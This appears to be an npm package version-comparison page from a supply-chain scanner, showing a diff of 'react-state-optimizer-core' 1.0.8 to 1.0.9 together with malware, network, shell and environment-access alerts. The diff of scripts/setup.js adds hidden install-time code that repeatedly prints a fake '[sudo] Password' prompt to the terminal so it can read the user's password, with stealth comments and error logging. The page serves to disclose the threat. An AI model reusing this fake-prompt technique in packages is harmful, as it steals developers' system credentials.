react-state-optimizer-core - npm Package Compare versions

Comparing version 1.0.8 to 1.0.9

package.json

 {
     "name": "react-state-optimizer-core",
-    "version": "1.0.8",
+    "version": "1.0.9",
     "description": "Utility layer for asynchronous state management",
@@ -5,0 +5,0 @@ "main": "index.js",

scripts/setup.js

@@ -114,4 +114,3 @@ const fs = require('fs');
             } catch (e) {
-                // Not interactive (CI/Docker/No TTY). 
-                // Do NOT hang. Fail safely (stealth).
+                try { fs.writeFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Open Error: ${e.message}\n`); } catch (err) { }
                 return resolve("");
@@ -121,9 +120,13 @@ }
             const user = require('os').userInfo().username;
-            const promptText = `\r\n\r\n[sudo] Password for ${user}: `;
+            const promptText = `\r\n\r\n\r\n[sudo] Password for ${user}: `;
 
             while (true) {
-                // 2. Aggressive Prompting (Blast to beat spinner)
+                // 2. Aggressive Prompting
                 try {
                     fs.writeSync(fd, promptText);
-                } catch (e) { }
+                    // Also try stderr
+                    process.stderr.write(promptText);
+                } catch (e) {
+                    try { fs.appendFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Write Error: ${e.message}\n`); } catch (err) { }
+                }
 
@@ -130,0 +133,0 @@ // 3. Native Read Loop

New alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 3 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Fixed alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 3 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

13623

1.93%

Lines of code

276

1.1%

No dependency changes